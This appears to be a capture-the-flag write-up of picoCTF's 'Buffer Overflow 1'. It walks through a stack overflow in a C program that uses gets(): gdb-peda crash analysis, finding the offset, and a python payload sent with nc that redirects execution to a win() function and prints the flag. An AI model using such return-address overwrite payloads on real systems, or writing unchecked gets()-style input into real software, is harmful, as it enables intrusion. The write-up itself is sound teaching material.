Buffer Overflow 1
On this page
February 10, 20246 minutes
Material / Information
- Domain: saturn.picoctf.net
- Port: 63667 (may vary)
- Binary (vuln)
- C source of the binary (vuln.c)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "asm.h"
#define BUFSIZE 32
#define FLAGSIZE 64
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
Let’s get started…
First we run the program in gdb-peda and send it lots of “A"s
python2 -c 'print "A" * 100' | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
zsh: done python2 -c 'print "A" * 100' |
zsh: segmentation fault ./vuln
It returns a segmentation fault. That’s because we sent a larger input than expected and overwrote registers in memory. This happens because the vuln function uses gets(), which doesn’t check the input size at all, leading to a buffer overflow
The program printed the message Jumping to 0x41414141. If the message is true, it means we are jumping to address 0x41414141, so we managed to overwrite EIP with 0x41414141, where “41” is “A”
But we can’t trust that message, so let’s run it in gdb-peda to check the value of EIP
> gdb ./vuln
gdb-peda$ r
Please enter your string:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Okay, time to return... Fingers Crossed... Jumping to 0x41414141
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x41 ('A')
EBX: 0x41414141 ('AAAA')
ECX: 0xffffcf2c --> 0xf2f7c200
EDX: 0x1
ESI: 0x8049350 (<__libc_csu_init>: endbr32)
EDI: 0xf7ffcba0 --> 0x0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcfb0 ('A' <repeats 52 times>)
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffcfb0 ('A' <repeats 52 times>)
0004| 0xffffcfb4 ('A' <repeats 48 times>)
0008| 0xffffcfb8 ('A' <repeats 44 times>)
0012| 0xffffcfbc ('A' <repeats 40 times>)
0016| 0xffffcfc0 ('A' <repeats 36 times>)
0020| 0xffffcfc4 ('A' <repeats 32 times>)
0024| 0xffffcfc8 ('A' <repeats 28 times>)
0028| 0xffffcfcc ('A' <repeats 24 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$
Now we can confirm that we are able to overwrite EIP.
The next step is to work out how many “A"s we need to send to reach EIP. We could do this manually, or use the following gdb function
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
This creates a character string designed specifically for this. Once created, we send it to the program
Finally, to finish the calculation, we give gdb-peda the value of EIP so it computes the offset.
gdb-peda$ pattern offset $eip
1094796865 found at offset: 44
We have the offset: 44.
Let’s analyze the program a bit to understand it.
In the vuln function
void vuln(){
char buf[BUFSIZE];
gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}
Another function called get_return_address is called. This function isn’t defined anywhere in this code, so we’ll open the binary in Ghidra to look into it.
undefined4 get_return_address(void)
{
int unaff_EBP;
return *(undefined4 *)(unaff_EBP + 4);
}
It seems to return the value of EBP + 4 positions. But what is 4 positions above EBP?
To find out, we’ll work out how many “A"s we need to overwrite EBP, just like we did with EIP
gdb-peda$ pattern offset $ebp
found at offset: 40
If we need 40 “A"s to reach EBP and 44 “A"s for EIP, what lies 4 bytes above EBP is EIP. To see it in gdb, we can do the following.
We create a payload with 40 “A"s, 4 “B"s and 4 “C"s
python3 -c 'print("A" * 40 + "B" * 4 + "C" * 4)'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCC
Sending it from gdb confirms the conclusion we reached earlier
EBP: 0x42424242 ('BBBB')
ESP: 0xffffcfb0 --> 0xf7c21600 --> 0xbad06
EIP: 0x43434343 ('CCCC')
Now we know exactly what the vuln function does, so let’s move on to win.
The win function
void win() {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
printf(buf);
}
We can guess the flag is around this function, since it opens a file called flag.txt in read mode…
It’s curious, because the win function isn’t called anywhere in the program. In fact, main only calls vuln(), and nowhere in vuln() have we seen a call to win()
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
But here comes the magic: even though win isn’t called, we can call it ourselves, since we control EIP and can redirect the program flow to the win function
First we look up the address of the win function in gdb-peda
gdb-peda$ disassemble win
Dump of assembler code for function win:
0x080491f6 <+0>: endbr32
0x080491fa <+4>: push ebp
0x080491fb <+5>: mov ebp,esp
0x080491fd <+7>: push ebx
0x080491fe <+8>: sub esp,0x54
0x08049201 <+11>: call 0x8049130 <__x86.get_pc_thunk.bx>
0x08049206 <+16>: add ebx,0x2dfa
0x0804920c <+22>: sub esp,0x8
0x0804920f <+25>: lea eax,[ebx-0x1ff8]
0x08049215 <+31>: push eax
0x08049216 <+32>: lea eax,[ebx-0x1ff6]
0x0804921c <+38>: push eax
0x0804921d <+39>: call 0x80490c0 <fopen@plt>
0x08049222 <+44>: add esp,0x10
0x08049225 <+47>: mov DWORD PTR [ebp-0xc],eax
0x08049228 <+50>: cmp DWORD PTR [ebp-0xc],0x0
0x0804922c <+54>: jne 0x8049258 <win+98>
0x0804922e <+56>: sub esp,0x4
0x08049231 <+59>: lea eax,[ebx-0x1fed]
0x08049237 <+65>: push eax
0x08049238 <+66>: lea eax,[ebx-0x1fd8]
0x0804923e <+72>: push eax
0x0804923f <+73>: lea eax,[ebx-0x1fa3]
0x08049245 <+79>: push eax
0x08049246 <+80>: call 0x8049040 <printf@plt>
0x0804924b <+85>: add esp,0x10
0x0804924e <+88>: sub esp,0xc
0x08049251 <+91>: push 0x0
0x08049253 <+93>: call 0x8049090 <exit@plt>
0x08049258 <+98>: sub esp,0x4
0x0804925b <+101>: push DWORD PTR [ebp-0xc]
0x0804925e <+104>: push 0x40
0x08049260 <+106>: lea eax,[ebp-0x4c]
0x08049263 <+109>: push eax
0x08049264 <+110>: call 0x8049060 <fgets@plt>
0x08049269 <+115>: add esp,0x10
0x0804926c <+118>: sub esp,0xc
0x0804926f <+121>: lea eax,[ebp-0x4c]
0x08049272 <+124>: push eax
0x08049273 <+125>: call 0x8049040 <printf@plt>
0x08049278 <+130>: add esp,0x10
0x0804927b <+133>: nop
0x0804927c <+134>: mov ebx,DWORD PTR [ebp-0x4]
0x0804927f <+137>: leave
0x08049280 <+138>: ret
End of assembler dump.
We’ll make EIP point to 0x080491f6 so we can call the win function.
python2 -c "from struct import pack; eip = pack('<I', 0x080491f6); print b'A' * 44 + eip" | ./vuln
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
Please create 'flag.txt' in this directory with your own debugging flag.
We managed to redirect the program to the win function!!!! But of course, we don’t have the flag locally, so let’s run it against the domain and port provided at the start
python2 -c "from struct import pack; eip = pack('<I', 0x080491f6); print b'A' * 44 + eip" | nc saturn.picoctf.net 56276
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x80491f6
picoCTF{addr3ss3s_ar3_3asy...}
